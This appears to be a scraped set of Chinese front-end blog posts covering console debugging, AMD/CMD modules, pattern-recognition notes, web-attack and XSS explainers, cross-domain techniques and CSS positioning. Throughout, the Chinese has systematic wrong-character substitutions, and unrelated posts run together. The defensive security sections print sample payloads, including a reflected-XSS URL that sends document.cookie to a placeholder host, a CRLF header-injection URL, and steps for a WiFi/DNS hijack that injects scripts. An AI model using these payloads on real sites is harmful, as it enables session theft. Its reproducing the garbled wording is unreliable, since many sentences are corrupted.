// 格式成可展开的的DOM，像在开发者工具Element面板那样可展开
console.log('%o',document.body.firstElementChild);
// 像JS对象那样访问DOM元素，可查看DOM元素的属性
// 等同于console.dir(document.body.firstElementChild)
console.log('%O',document.body.firstElementChild);
%c占位符是最经常使用的。使用%c占位符时，对应的后面的参数必须是CSS语句，用来对输出内容进行CSS渲染。常见的输出方式有两种：文字样式、图片输出。
3、显示某个节点的内容
<!DOCTYPE html>
<html>
<head>
<title>经常使用console命令</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<div id="info">
<h3>个人博客：http://www.cnblogs.com/chaoran/</h3>
</div>
<script type="text/javascript">
var info = document.getElementById('info');
console.dirxml(info);
</script>
</body>
</html>
4、判断变量是不是真
console.assert()用来判断一个表达式或变量是否为真。若是结果为否，则在控制台输出一条相应信息，而且抛出一个异常。
console.assert对输入的表达式进行断言，只有表达式为false时，才输出相应的信息到控制台。
<script type="text/javascript"> var result = 1; console.assert( result ); var year = 2014; console.assert(year == 2018 ); </script>
1是非0值，是真；而第二个判断是假，在控制台显示错误信息
5、追踪函数的调用轨迹
console.trace()用来追踪函数的调用轨迹。
<script type="text/javascript">
/*函数是如何被调用的，在其中加入console.trace()方法就能够了*/
function add(a,b){
console.trace();
return a+b;
}
var x = add3(1,1);
function add3(a,b){return add2(a,b);}
function add2(a,b){return add1(a,b);}
function add1(a,b){return add(a,b);}
</script>
控制台输出信息：
6、计时功能
console.time()和console.timeEnd()，用来显示代码的运行时间。
<script type="text/javascript">
console.time("控制台计时器一");
for(var i=0;i<1000;i++){
for(var j=0;j<1000;j++){}
}
console.timeEnd("控制台计时器一");
</script>
7、console.profile()的性能分析
性能分析（Profiler）就是分析程序各个部分的运行时间，找出瓶颈所在，使用的方法是console.profile()。
<script type="text/javascript">
function All(){
alert(11);
for(var i=0;i<10;i++){
funcA(1000);
}
funcB(10000);
}
function funcA(count){
for(var i=0;i<count;i++){}
}
function funcB(count){
for(var i=0;i<count;i++){}
console.profile('性能分析器');
All();
console.profileEnd();
｝
</script>
参考：
AMD && CMD
前言
JavaScript初衷：实现简单的页面交互逻辑，寥寥数语便可；
随着web2.0时代的到来，Ajax技术获得普遍应用，jQuery等前端库层出不穷，前端代码日益膨胀
问题：
这时候JavaScript做为嵌入式的脚本语言的定位动摇了，JavaScript却没有为组织代码提供任何明显帮助，甚至没有类的概念，JavaScript极其简单的代码组织规范不足以驾驭如此庞大规模的代码
1、模块
模块化：是一种处理复杂系统分解为代码结构更合理，可维护性更高的可管理的模块的方式。
在理想状态下咱们只须要完成本身部分的核心业务逻辑代码，其余方面的依赖能够经过直接加载被人已经写好模块进行使用便可。
2、CommonJS
CommonJs 是服务器端模块的规范，Node.js采用了这个规范。
根据CommonJS规范，一个单独的文件就是一个模块。加载模块使用require方法，该方法读取一个文件并执行，最后返回文件内部的exports对象。
var math = require('math');
math.add(2, 3);
第二行math.add(2, 3)，在第一行require('math')以后运行，所以必须等math.js加载完成。也就是说，若是加载时间很长，整个应用就会停在那里等。您会注意到 require 是同步的。
CommonJS 加载模块是同步的，因此只有加载完成才能执行后面的操做。像Node.js主要用于服务器的编程，加载的模块文件通常都已经存在本地硬盘，因此加载起来比较快，不用考虑异步加载的方式，因此CommonJS规范比较适用。但若是是浏览器环境，要从服务器加载模块，这是就必须采用异步模式。因此就有了 AMD CMD 解决方案。
3、AMD
AMD 即Asynchronous Module Definition，中文名是异步模块定义的意思。它是一个在浏览器端模块化开发的规范
AMD也采用require()语句加载模块，可是不一样于CommonJS，它要求两个参数：
require([module], callback);
第一个参数[module]，是一个数组，里面的成员就是要加载的模块；第二个参数callback，则是加载成功以后的回调函数。若是将前面的代码改写成AMD形式，就是下面这样：
require(['math'], function (math) {
math.add(2, 3);
});
math.add()与math模块加载不是同步的，浏览器不会发生假死。因此很显然，AMD比较适合浏览器环境。目前，主要有两个Javascript库实现了AMD规范：require.js和curl.js。
与 RequireJS
AMD 是 RequireJS 在推广过程当中对模块定义的规范化产出
AMD异步加载模块。它的模块支持对象 函数 构造器 字符串 JSON等各类类型的模块。
//经过数组引入依赖 ，回调函数经过形参传入依赖
define(['Module1', ‘Module2’], function (Module1, Module2) {
function foo () {
/// someing
Module1.test();
}
return {foo: foo}
});
- 第一个参数 id 为字符串类型，表示了模块标识，为可选参数。若不存在则模块标识应该默认定义为在加载器中被请求脚本的标识。若是存在，那么模块标识必须为顶层的或者一个绝对的标识。
- 第二个参数，dependencies ，是一个当前模块依赖的，已被模块定义的模块标识的数组字面量。
- 第三个参数，factory，是一个须要进行实例化的函数或者一个对象。
AMD规范容许输出模块兼容CommonJS规范，这时define方法以下：
define(function (require, exports, module) {
var reqModule = require("./someModule");
requModule.test();
exports.asplode = function () {
//someing
}
});
4、CMD
CMD是SeaJS 在推广过程当中对模块定义的规范化产出
CMD和AMD的区别有如下几点：
1.对于依赖的模块AMD是提早执行，CMD是延迟执行。不过RequireJS从2.0开始，也改为能够延迟执行（根据写法不一样，处理方式不经过）。
2.AMD推崇依赖前置（在定义模块的时候就要声明其依赖的模块），CMD推崇依赖就近（只有在用到某个模块的时候再去require）。
//AMD
define(['./a','./b'], function (a, b) {
//依赖一开始就写好
a.test();
b.test();
});
//CMD
define(function (requie, exports, module) {
//依赖能够就近书写
var a = require('./a');
a.test();
...
//软依赖
if (status) {
var b = requie('./b');
b.test();
}
});
3.AMD的api默认是一个当多个用，CMD严格的区分推崇职责单一。例如：AMD里require分全局的和局部的。CMD里面没有全局的 require,提供 seajs.use()来实现模块系统的加载启动。CMD里每一个API都简单纯粹。
AMD 是 RequireJS 在推广过程当中对模块定义的规范化产出，CMD是SeaJS 在推广过程当中被普遍认知。RequireJs出自dojo加载器的做者James Burke，SeaJs出自国内前端大师玉伯。两者的区别，玉伯在12年如是说：
RequireJS 和 SeaJS 都是很不错的模块加载器，二者区别以下：
1. 二者定位有差别。RequireJS 想成为浏览器端的模块加载器，同时也想成为 Rhino / Node 等环境的模块加载器。SeaJS 则专一于 Web 浏览器端，同时经过 Node 扩展的方式能够很方便跑在 Node 服务器端 2. 二者遵循的标准有差别。RequireJS 遵循的是 AMD（异步模块定义）规范，SeaJS 遵循的是 CMD （通用模块定义）规范。规范的不一样，致使了二者API 的不一样。SeaJS 更简洁优雅，更贴近 CommonJS Modules/1.1 和 Node Modules 规范。 3. 二者社区理念有差别。RequireJS 在尝试让第三方类库修改自身来支持 RequireJS，目前只有少数社区采纳。SeaJS 不强推，而采用自主封装的方式来“海纳百川”，目前已有较成熟的封装策略。 4. 二者代码质量有差别。RequireJS 是没有明显的 bug，SeaJS 是明显没有 bug。 5. 二者对调试等的支持有差别。SeaJS 经过插件，能够实现 Fiddler 中自动映射的功能，还能够实现自动 combo 等功能，很是方便便捷。RequireJS无这方面的支持。 6. 二者的插件机制有差别。RequireJS 采起的是在源码中预留接口的形式，源码中留有为插件而写的代码。SeaJS 采起的插件机制则与 Node 的方式一致开放自身，让插件开发者可直接访问或修改，从而很是灵活，能够实现各类类型的插件。
参考：
模式识别课程笔记（一）
1、模式识别(pattern recognition)
人类在识别和分辨事物时，每每是在先验知识和以往对此类事物的多个具体实例观察基础上产生的总体性质和特征的认识。
其实，每一种外界事物均可以看做是一种模式，人们对外界事物的识别，很大部分是把事物进行分类来完成的。
中文中：模式==类
简单来讲就是一种规律，识别主是对事物对象进行分门别类，模式识别能够看做对模式的区分和认识，是事物样本到类别的映射；
英文中：pattern则表示两层意思
一层表明事物的模板或原形，第二层则是表征事物特色的特征或性状组合。
在模式识别学科中，模式能够看作是对象的组成成分或影响因素间存在的规律性关系，或者是因素间存在的肯定性或随机性规律的对象、过程或事件的集合。
所以，也有人把模式成为模式类，模式识别也被称做为模式分类（Pattern Classification）。
专业术语：
- 样本（sample），一个个体对象，注意与统计学中的不一样，相似于统计学中的实例（instance）；
- 样本集（sample set）：若干样本的集合，统计学中的样本就是指样本集；
- 类或类别（class）：具备相同模式的样本集，该样本集是全体样本的子集；
习惯性地，咱们用w1，w2等来表示类别，两类问题中也会用{0,1}或{-1,1}； - 特征（feature）：也称为属性，一般指样本的某些能够用数值去量化的特征，若是有多个特征，则能够组合成特征向量（feature vector）。样本的特征构成了样本特征空间，空间的维数就是特征的个数，每个样本就是特征空间中的一个点。
- 已知样本（known sample）：已经事先知道类别的样本；
- 未知样本（unknown sample）：类别标签未知但特征已知的样本；
2、模式识别类型
1.监督模式识别
特色：要划分的类别是已知的，而且可以得到必定数量的类别已知的训练样本。
这种状况下的机器学习的过程称为监督学习（有导师学习）。
2.非监督模式识别
特色：事先并不知道要划分的类别有哪些，甚至可能连要划分类别的数目也不知道，而且没有任何已知样本能够用来训练。
这种状况下要根据提取到的样本特征将样本聚成几个类，属于同一类的样本从某个角度上看具备必定的类似性，而不一样类之间的样本差别则较大。这种机器学习的过程称为非监督学习（无导师学习），也成为聚类。
须要注意的是，在不少非监督模式识别中，聚类的结果不是惟一的，由于“类似”是从某个角度看上去的类似，这里的角度就是前面提到的特征。根据样本特征向量中的不一样特征去聚类，会获得不一样的结果。
举个例子：假设提取到的4个样本y1,y2,y3,y4的特征向量分别为
x1=(red,rounded,hollow)
x2=(red,rectangular,hollow)
x3=(blue,rounded,solid)
x4=(blue,rectangular,hollow)
若按特征向量的第一个特征（颜色）去聚类时，y1,y2聚为一类，y3,y4聚为一类；若按第二个特征（形状）去聚类时，y1,y3聚为一类,y2,y4聚为一类；若按第三个特征（空心/实心）去聚类时，y1,y2,y4聚为一类，y3自成一类。
这很好的解释了聚类结果的非惟一性，这也是非监督模式识别与监督模式识别的一个重要差异。
| 监督学习 | 非监督学习 |
| 有导师 | 无导师 |
| 要划分的类别已知 | 事先不知要划分类别 |
| 训练中可知模型决策结果 | 不知是否有错 |
| 神经网络、决策树 | k-均值聚类法 |
3. 增强学习
不提供设计种类，基于导师提供试验反馈（如决策是否正确）
3、模式识别系统
一个模式识别系统的典型构成包括：预处理，特征选择与提取，分类或聚类，后处理四个主要部分。
例子：
假设有两种鱼：鲈鱼、鲑鱼
问题：在传送带上分类
步骤：
感知（sensing）
格式化能被机器感知的对象
可能致使的问题：
光线条件，鱼的位置，相机噪音等等
预处理（preprocessing）
改善数据
特征提取（feature extraction）
什么样的特征能够区分不一样种类
分类（classification）
支持向量机、决策树等
模式识别系统
- 数据获取&感知
测量物理变量
基于样本质量，只有典型样本有用，时间和成本是限制条件 - 预处理
移除噪音、隔离背景 - 特征提取
- 模式学习/估计
学习特征与模式类别的映射关系 - 分类
- 输出处理
4、评价标准
训练精度
过拟合问题
测试精度
参考连接：
http://blog.csdn.net/SCUT_Arucee/article/details/45250643
https://zhuanlan.zhihu.com/p/22668576
web攻击
1、XSS（跨站脚本攻击）
最多见和基本的攻击WEB网站的方法。攻击者在网页上发布包含攻击性代码的数据。当浏览者看到此网页时，特定的脚本就会以浏览者用户的身份和权限来执行。经过XSS能够比较容易地修改用户数据、窃取用户信息，以及形成其它类型的攻击，例如CSRF攻击
常看法决办法:确保输出到HTML页面的数据以HTML的方式被转义
详见博文：web安全之XSS
2、CSRF（跨站请求伪造攻击 Cross-site request forgery）
经过各类方法伪造一个请求，模仿用户提交表单的行为，从而达到修改用户的数据，或者执行特定任务的目的。为了假冒用户的身份，CSRF攻击经常和XSS攻击配合起来作，但也能够经过其它手段，例如诱使用户点击一个包含攻击的连接
目前国内有大量路由器存在 CSRF 漏洞，其中至关部分用户使用默认的管理帐号。经过外链图片，便可发起对路由器 DNS 配置的修改，这将成为国内互联网最大的安全隐患。
案例：
百度旅游在富文本过滤时，未考虑标签的 style 属性，致使容许用户自定义的 CSS。所以能够插入站外资源：
全部浏览该页面的用户，都能发起任意 URL 的请求：
因为站外服务器彻底不受控制，攻击者能够控制返回内容：
-
若是检测到是管理员，或者外链检查服务器，能够返回正常图片；
-
若是是普通用户，能够返回 302 重定向到其余 URL，发起 CSRF 攻击。例如修改路由器 DNS
防范措施：
1. 杜绝用户的一切外链资源。须要站外图片，能够抓回后保存在站内服务器里。
2. 对于富文本内容，使用白名单策略，只容许特定的 CSS 属性。
3. 尽量开启 Content Security Policy 配置，让浏览器底层来实现站外资源的拦截。
4. 采用POST请求,增长攻击的难度.用户点击一个连接就能够发起GET类型的请求。而POST请求相对比较难，攻击者每每须要借助javascript才能实现
5. 对请求进行认证，确保该请求确实是用户本人填写表单并提交的，而不是第三者伪造的.具体能够在会话中增长token,确保看到信息和提交信息的是同一我的
3、Http Heads攻击
HTTP协议在Response header和content之间，有一个空行，即两组CRLF（0x0D 0A）字符。这个空行标志着headers的结束和content的开始。“聪明”的攻击者能够利用这一点。只要攻击者有办法将任意字符“注入”到headers中，这种攻击就能够发生
案例：
url：http://localhost/login?page=http%3A%2F%2Flocalhost%2Findex
当登陆成功之后，须要重定向回page参数所指定的页面。下面是重定向发生时的response headers.
假如把URL修改一下，变成这个样子：
http://localhost/login?page=http%3A%2F%2Flocalhost%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E
这个页面可能会意外地执行隐藏在URL中的javascript。相似的状况不只发生在重定向（Location header）上，也有可能发生在其它headers中，如Set-Cookie header。这种攻击若是成功的话，能够作不少事，例如：执行脚本、设置额外的cookie（<CRLF>Set-Cookie: evil=value）等。
避免这种攻击的方法，就是过滤全部的response headers，除去header中出现的非法字符，尤为是CRLF。
4、Cookie攻击
经过Java Script很是容易访问到当前网站的cookie。你能够打开任何网站，而后在浏览器地址栏中输入：javascript:alert(doucment.cookie),马上就能够看到当前站点的cookie（若是有的话）。攻击者能够利用这个特性来取得你的关键信息。例如，和XSS攻击相配合，攻击者在你的浏览器上执行特定的Java Script脚本，取得你的cookie。假设这个网站仅依赖cookie来验证用户身份，那么攻击者就能够假冒你的身份来作一些事情。
如今多数浏览器都支持在cookie上打上HttpOnly的标记,凡是有这个标志的cookie就没法经过Java Script来取得,若是能在关键cookie上打上这个标记，就会大大加强cookie的安全性
5、重定向攻击
一种经常使用的攻击手段是“钓鱼”。钓鱼攻击者，一般会发送给受害者一个合法连接，当连接被点击时，用户被导向一个似是而非的非法网站，从而达到骗取用户信任、窃取用户资料的目的。
为防止这种行为,咱们必须对全部的重定向操做进行审核,以免重定向到一个危险的地方.
案例：
攻击者发一个吸引用户的帖子。当用户进来时，引诱他们点击超连接。
一般故意放少部分的图片，或者是不会动的动画，先让用户预览一下。要是用户想看完整的，就得点下面的超连接：
因为扩展名是 gif 等图片格式，大多用户就毫无顾虑的点了。
事实上，真正的类型是由服务器返回的 MIME 决定的。因此这个站外资源彻底有多是一个网页：
当用户停留在新页面里看动画时，隐匿其中的脚本已悄悄跳转原页面了。
用户切回原页面时，其实已在一个钓鱼网站上：
在此之上，加些浮层登陆框等特效，颇有可能钓到用户的一些帐号信息。
对页面中的用户发布的超连接，监听其点击事件，阻止默认的弹窗行为，而是用 window.open 代替，并将返回窗体的 opener 设置为 null，便可避免第三方页面篡改了。
钓鱼网站常看法决方案是白名单,将合法的要重定向的url加到白名单中,非白名单上的域名重定向时拒之；
第二种解决方案是重定向token,在合法的url上加上token,重定向时进行验证.
6、上传文件攻击
1.文件名攻击
上传的文件采用上传以前的文件名,可能形成:客户端和服务端字符码不兼容,致使文件名乱码问题;文件名包含脚本,从而形成攻击.
2.文件后缀攻击
上传的文件的后缀多是exe可执行程序,js脚本等文件,这些程序可能被执行于受害者的客户端,甚至可能执行于服务器上.所以咱们必须过滤文件名后缀,排除那些不被许可的文件名后缀.
3.文件内容攻击
IE6有一个很严重的问题 , 它不信任服务器所发送的content type，而是自动根据文件内容来识别文件的类型，并根据所识别的类型来显示或执行文件.若是上传一个gif文件,在文件末尾放一段js攻击脚本,就有可能被执行.这种攻击,它的文件名和content type看起来都是合法的gif图片,然而其内容却包含脚本,这样的攻击没法用文件名过滤来排除，而是必须扫描其文件内容，才能识别。
感谢原博主们的技术分享~
参考连接：
http://www.myexception.cn/web/474892.html
http://fex.baidu.com/blog/2014/06/web-sec-2014/?qq-pf-to=pcqq.c2c
目录
HTML 5
CSS
$(#form :input)与$(#form input)的区别
JavaScript相关
document.body.scrollTop与document.documentElement.scrollTop兼容
;function($,undefined) 前面的分号是什么用处
参数传递的四种形式----- URL，超连接，js，form表单
ECMAScript 笔记
react
vue
前端总结（安全、性能、小tips）
前端工具篇
协议&&跨域
数学
模式识别
闲情小记
web安全之XSS
Web安全之 XSS
XSS： (Cross Site Scripting) 跨站脚本攻击， 是Web程序中最多见的漏洞。
指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时，脚本就会在用户的浏览器上执行，从而达到攻击者的目的. 好比获取用户的Cookie，导航到恶意网站,携带木马等。
1、产生缘由
假若有下面一个textbox
<input type="text" name="address1" value="value1from">
value1from是来自用户的输入，若是用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">
嵌入的JavaScript代码将会被执行
或者用户输入的是 "onfocus="alert(document.cookie) 那么就会变成
<input type="text" name="address1" value="" onfocus="alert(document.cookie)">
事件被触发的时候嵌入的JavaScript代码将会被执行
攻击的威力，取决于用户输入了什么样的脚本
HTML Encode
XSS之因此会发生， 是由于用户输入的数据变成了代码。 因此咱们须要对用户输入的数据进行HTML Encode处理。 将其中的"中括号"， “单引号”，“引号” 之类的特殊字符进行编码。
2、攻击场景
- Reflected XSS（基于反射的XSS攻击）
- Stored XSS（基于存储的XSS攻击）
- DOM-based or local XSS（基于DOM或本地的XSS攻击）
1. Reflected XSS
主要依靠站点服务端返回脚本，在客户端触发执行从而发起Web攻击。
假如在某搜索网站搜索内容，填入“<script>alert('handsome boy')</script>”, 点击搜索。
当前端页面没有对返回的数据进行过滤，直接显示在页面上， 这时就会alert那个字符串出来。 进而能够构造获取用户cookies的地址，经过QQ群或者垃圾邮件，来让其余人点击这个地址：
http://www...../search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>
开发安全措施：
1） 前端在显示服务端数据时候，不只是标签内容须要过滤、转义，就连属性值也均可能须要。
2） 后端接收请求时，验证请求是否为攻击请求，攻击则屏蔽。
2. Stored XSS
经过发表带有恶意跨域脚本的帖子/文章，从而把恶意脚本存储在服务器，每一个访问该帖子/文章的人就会触发执行。
例子：
1. 发一篇文章，里面包含了恶意脚本
今每天气不错啊！<script>alert('handsome boy')</script>
2. 后端没有对文章进行过滤，直接保存文章内容到数据库。
3. 当其余看这篇文章的时候，包含的恶意脚本就会执行。
PS：由于大部分文章是保存整个HTML内容的，前端显示时候也不作过滤，就很可能出现这种状况。
结论：
后端尽量对提交数据作过滤，在场景需求而不过滤的状况下，前端就须要作些处理了。
开发安全措施：
1） 首要是服务端要进行过滤，由于前端的校验能够被绕过。
2） 当服务端不校验时候，前端要以各类方式过滤里面可能的恶意脚本，例如script标签，将特殊字符转换成HTML编码。
3. Dom-Based XSS
基于DOM或本地的XSS攻击。通常是提供一个免费的wifi，可是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面，从而植入恶意脚本。这种直接存在于页面，无须通过服务器返回就是基于本地的XSS攻击。
例子1：
1） 提供一个免费的wifi。
2） 开启一个特殊的DNS服务，将全部域名都解析到咱们的电脑上，并把Wifi的DHCP-DNS设置为咱们的电脑IP。
3） 以后连上wifi的用户打开任何网站，请求都将被咱们截取到。咱们根据http头中的host字段来转发到真正服务器上。
4） 收到服务器返回的数据以后，咱们就能够实现网页脚本的注入，并返回给用户。
5） 当注入的脚本被执行，用户的浏览器将依次预加载各大网站的经常使用脚本库。
这个其实就是wifi流量劫持，中间人能够看到用户的每个请求，能够在页面嵌入恶意代码，使用恶意代码获取用户的信息，能够返回钓鱼页面。
结论：
这攻击其实跟网站自己没有什么关系，只是数据被中间人获取了而已，而因为HTTP是明文传输的，因此是很可能被窃取的。
开发安全措施：
1. 使用HTTPS！HTTPS会在请求数据以前进行一次握手，使得客户端与服务端都有一个私钥，服务端用这个私钥加密，客户端用这个私钥解密，这样即便数据被人截取了，也是加密后的数据。
漏洞恢复
- 将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
- 只容许用户输入咱们指望的数据。 例如： 年龄的textbox中，只容许用户输入数字。 而数字以外的字符都过滤掉。
- 对数据进行Html Encode 处理
- 过滤或移除特殊的Html标签， 例如: <script>, <iframe> , < for <, > for >, " for
- 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。
参考连接
http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html
http://www.cnblogs.com/lovesong/p/5199623.html
https://www.cnblogs.com/index-html/p/wifi_hijack_3.html
JSONP && CORS
前天面试被问到了跨域的问题，自我感受回答的并不理想，下面我就分享一下整理后的总结分享给你们
1、为何要跨域
安全限制
JavaScript或Cookie只能访问同域下的内容——同源策略
同源策略
下表相对于： http://h5.jd.com/dir/ajax.js
注意
- 协议和端口形成的跨域问题，非前端解决范畴
- 所谓域，是经过“url首部”来识别，而非判断域与ip的对应关系
（“URL的首部”指window.location.protocol +window.location.host）
2、跨域方案
1. jsonp
原理
HTML里面全部带src属性的标签均可以跨域，如iframe，img，script等。
因此能够把须要跨域的请求改为用script脚本加载便可，服务器返回执行字符串，可是这个字符串是在window全局做用域下执行的，你须要把他返回到你的代码的做用域内，这里就须要临时建立一个全局的回调函数，并把到传到后台，最后再整合实际要请求的数组，返回给前端，让浏览器直接调用，用回调的形式回到你的原代码流程中。
- 首先，利用 script 标签的 src 属性实现跨域
- 经过将前端方法做为参数传递到服务器端，而后由服务器注入参数以后再返回，实现服务器端向客户端通讯
- 因为使用script 标签的src 属性，所以只支持 get 方法
一个简单的jsonp实现，其实就是拼接url，而后将动态添加一个script元素到头部
1. 设定一个script标签 <script src="http://jsonp.js?callback=xxx"></script> 2. 服务器 $callback = !empty($_GET['callback'] ? $_GET['callback'] : 'callback'); echo $callback.'(.json_encode($data).)';
详见博客 JSON 和 JSONP两兄弟
2. cors
| JSONP | CORS | |
| 目的 | 跨域 | 跨域 |
| 支持 | get （受IE下url长度不能超过2083个字节的限制和出于安全考虑，通常不用来提交数据） |
全部类型的http请求 |
| 支持度 | 包括老式浏览器 | 不支持部分浏览器，移动端支持很好 |
| 缺点 | 1）安全问题（请求代码中可能存在安全隐患） 2）肯定jsonp请求是否失败不太容易 3）只支持跨域HTTP请求这种状况，不能解决不一样域的两个页面之间如何进行JavaScript调用的问题 |
支持率 |
| 原理 | 被包含在一个回调函数中的JSON 核心则是动态添加<script>标签来调用服务器提供的js脚本 （容许用户传递一个callback参数给服务端，而后服务端返回数据时会将这个callback参数做为函数名来包裹住JSON数据，这样客户端就能够随意定制本身的函数来自动处理返回数据了） |
使用自定义的HTTP头部让浏览器与服务器进行沟通，从而决定请求或响应是应该成功，仍是应该失败 （只需由服务器发送一个响应标头便可） |
CORS须要浏览器和服务器同时支持
实现CORS通讯的关键是服务器，只要服务器实现了CORS接口，就能够跨域通讯
1）两种请求方式
简单请求、非简单请求
a）简单请求：
跨域时，浏览器自动在头部信息中添加一个origin 字段（指定请求源-协议+域名+端口），以下图所示
服务器判断origin在域名许可范围内，返回响应：
若不存在 Access-Control-Allow-Origin 字段，则出错
以上头部信息中，CORS相关字段有
- Access-Control-Allow-Origin
必须字段，其值为 origin / *（可接受任意域名请求） - Access-Control-Allow-Credentials
可选，是否容许发送Cookie - Access-Control-Expose-Headers
可选，是否须要Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma以外的字段
withCredentials 属性
CORS请求默认不发送Cookie和HTTP认证信息。若是要把Cookie发到服务器，一方面要服务器赞成，指定Access-Control-Allow-Credentials字段
Access-Control-Allow-Credentials: true
另外一方面，开发者必须在AJAX请求中打开withCredentials属性。
var xhr = new XMLHttpRequest(); xhr.withCredentials = true;
注意
若是要发送Cookie，Access-Control-Allow-Origin就不能设为星号，必须指定明确的、与请求网页一致的域名。同时，Cookie依然遵循同源政策，只有用服务器域名设置的Cookie才会上传，其余域名的Cookie并不会上传，且（跨源）原网页代码中的document.cookie也没法读取服务器域名下的Cookie。
b）非简单请求（不一样时知足以上条件）
请求方法是PUT或DELETE，或者Content-Type字段的类型是application/json
浏览器对于非简单请求，就自动发出一个"预检"请求，要求服务器确承认以这样请求。下面是这个"预检"请求的HTTP头信息
除了Origin字段，"预检"请求的头信息包括两个特殊字段。
- Access-Control-Request-Method
该字段是必须的，用来列出浏览器的CORS请求会用到哪些HTTP方法，上例是PUT。
- Access-Control-Request-Headers
该字段是一个逗号分隔的字符串，指定浏览器CORS请求会额外发送的头信息字段，上例是X-Custom-Header。
2.CORS 支持度
3. document.domain
两个网页一级域名相同，只是二级域名不一样，浏览器容许经过设置document.domain共享 Cookie。
举例来讲，A网页是http://w1.example.com/a.html，B网页是http://w2.example.com/b.html，那么只要设置相同的document.domain，两个网页就能够共享Cookie
document.domain = 'example.com';
如今，A网页经过脚本设置一个 Cookie
document.cookie = "test1=hello";
B网页就能够读到这个 Cookie。
var allCookie = document.cookie;
注意，这种方法只适用于 Cookie 和 iframe 窗口，LocalStorage 和 IndexDB 没法经过这种方法，规避同源政策，而要使用下文介绍的PostMessage API。
4. iframe
（只有在主域相同时才能使用）
1）www.a.com/a.html中：
document.domain = 'a.com';
var ifr = document.createElement('iframe');
ifr.src = 'http://www.script.a.com/b.html';
ifr.display = none;
document.body.appendChild(ifr);
ifr.onload = function(){
var doc = ifr.contentDocument || ifr.contentWindow.document;
//在这里操做doc，也就是b.html
ifr.onload = null;
};
2) 在www.script.a.com/b.html中：
document.domain = 'a.com';
5. window.postMessage：
该方法是 HTML5 新引进的特性，能够使用它来向其它的window对象发送消息，不管这个window对象是属于同源或不一样源，目前IE8+、FireFox、Chrome、Opera等浏览器都已经支持window.postMessage方法。
window.postMessage的功能是容许程序员跨域在两个窗口/frames间发送数据信息。基本上，它就像是跨域的AJAX，但不是浏览器跟服务器之间交互，而是在两个客户端之间通讯
postMessage方法的第一个参数是具体的信息内容，第二个参数是接收消息的窗口的源（origin），即"协议 + 域名 + 端口"。也能够设为*，表示不限制域名，向全部窗口发送。
子窗口向父窗口发送消息的写法相似。
window.opener.postMessage('Nice to see you', 'http://aaa.com');
父窗口和子窗口均可以经过message事件，监听对方的消息。
window.addEventListener('message', function(e) {
console.log(e.data);
},false);
message事件的事件对象event，提供如下三个属性。
event.source：发送消息的窗口event.origin: 消息发向的网址event.data: 消息内容
下面的例子是，子窗口经过event.source属性引用父窗口，而后发送消息。
window.addEventListener('message', receiveMessage);
function receiveMessage(event) {
event.source.postMessage('Nice to see you!', '*');
}
event.origin属性能够过滤不是发给本窗口的消息。
window.addEventListener('message', receiveMessage);
function receiveMessage(event) {
if (event.origin !== 'http://aaa.com') return;
if (event.data === 'Hello World') {
event.source.postMessage('Hello', event.origin);
} else {
console.log(event.data);
}
}
【a.qq.com页面代码】
【b.qq.com页面代码】
以上demo简单解决了前端跨域通讯，跨域带cookie等问题，在逻辑上彻底能够实现跨域通讯。可是对于不支持PostMessage特性的老版浏览器是行不通的。好比IE8-浏览器就不能很好的支持PostMessage特性
6. 服务端代理
在数据提供方没有提供对JSONP协议或者window.name协议的支持，也没有对其它域开放访问权限时，咱们能够经过server proxy的方式来抓取数据。
例如当www.a.com域下的页面须要请求www.b.com下的资源文件asset.txt时，直接发送一个指向 www.b.com/asset.txt的ajax请求确定是会被浏览器阻止。
这时，咱们在www.a.com下配一个代理，而后把ajax请求绑定到这个代理路径下，例如www.a.com/proxy/, 而后这个代理发送HTTP请求访问www.b.com下的asset.txt，跨域的HTTP请求是在服务器端进行的，客户端并无产生跨域的ajax请求。
这个跨域方式不须要和目标资源签定协议，带有侵略性，另外须要注意的是实践中应该对这个代理实施必定程度的保护，好比限制他人使用或者使用频率。
其余跨域方案
window.name：
在一个窗口(window)的生命周期内,窗口载入的全部的页面都是共享一个window.name的，每一个页面对window.name都有读写的权限，window.name是持久存在一个窗口载入过的全部页面中的。
动态建立script
JSONP也就是利用这个原理。
利用iframe和location.hash
淘汰类技术
利用flash
淘汰类技术
参考连接：
http://tech.jandou.com/cross-domain.html
http://www.cnblogs.com/JChen666/p/3399951.html
http://www.ruanyifeng.com/blog/2016/04/cors.html
用HTML5里的window.postMessage在两个网页间传递数据
css 定位
1、relative
1）与兄弟
relative对absolute
一、限制left/top/right/bottom定位
二、限制z-index层级；
三、限制在overflow下
relative对fixed
限制z-index层级；
2）自己特征
定位
一、相对自身
定位移动相对于自身
二、无侵入
relative定位不影响其余元素
margin影响其余元素布局
应用
拖拽效果
同时设置top/bottom left/right
绝对定位：拉伸
相对定位：斗争
top VS bottom top起做用
left VS bottom left起做用
3）层级
提升层级上下文
正常文档流模式下，后面的dom元素覆盖前面的，若是将前面的元素设置了relative将提高它自身的层级
新建层叠上下文与层级控制
z-index: auto : 没有限制内部absolute元素层叠的问题（except IE6,IE7 auto也会限制层级）
4）relative的最小化影响原则
——指尽可能下降relative属性对其余元素或布局的潜在影响
1. 尽可能避免使用relative
absolute+margin
2. relative最小化
将absolute父级独立为单独的容器，进行relative定位
2、absolute
1）与兄弟float
相同的特征表现
1. 包裹性
父元素对子元素的包裹
2. 破坏性
设置了子元素后，父元素高度塌陷
① absolute的破坏性是对图片的absolute化。图片设置absolute后，图片就从标准文档流中脱离出来，没有东西能够继续支撑容器的高度，容器天然就坍塌了。好像把房子的柱子挪到房子外边，房子果断就塌了
② absolute的包裹性是对容器的absolute化。容器设置absolute后，容器变为了 inline-block，容器自己没有设置宽度和高度的话，那么容器的宽高就等于内容的宽高，表现结果就是容器把内容包裹起来。
2）别把relative拴在一块儿（独立性的好处）
absolute 越独立，越强大
超越overflow
独立的absolute能够拜托overflow的限制，不管是滚动仍是隐藏
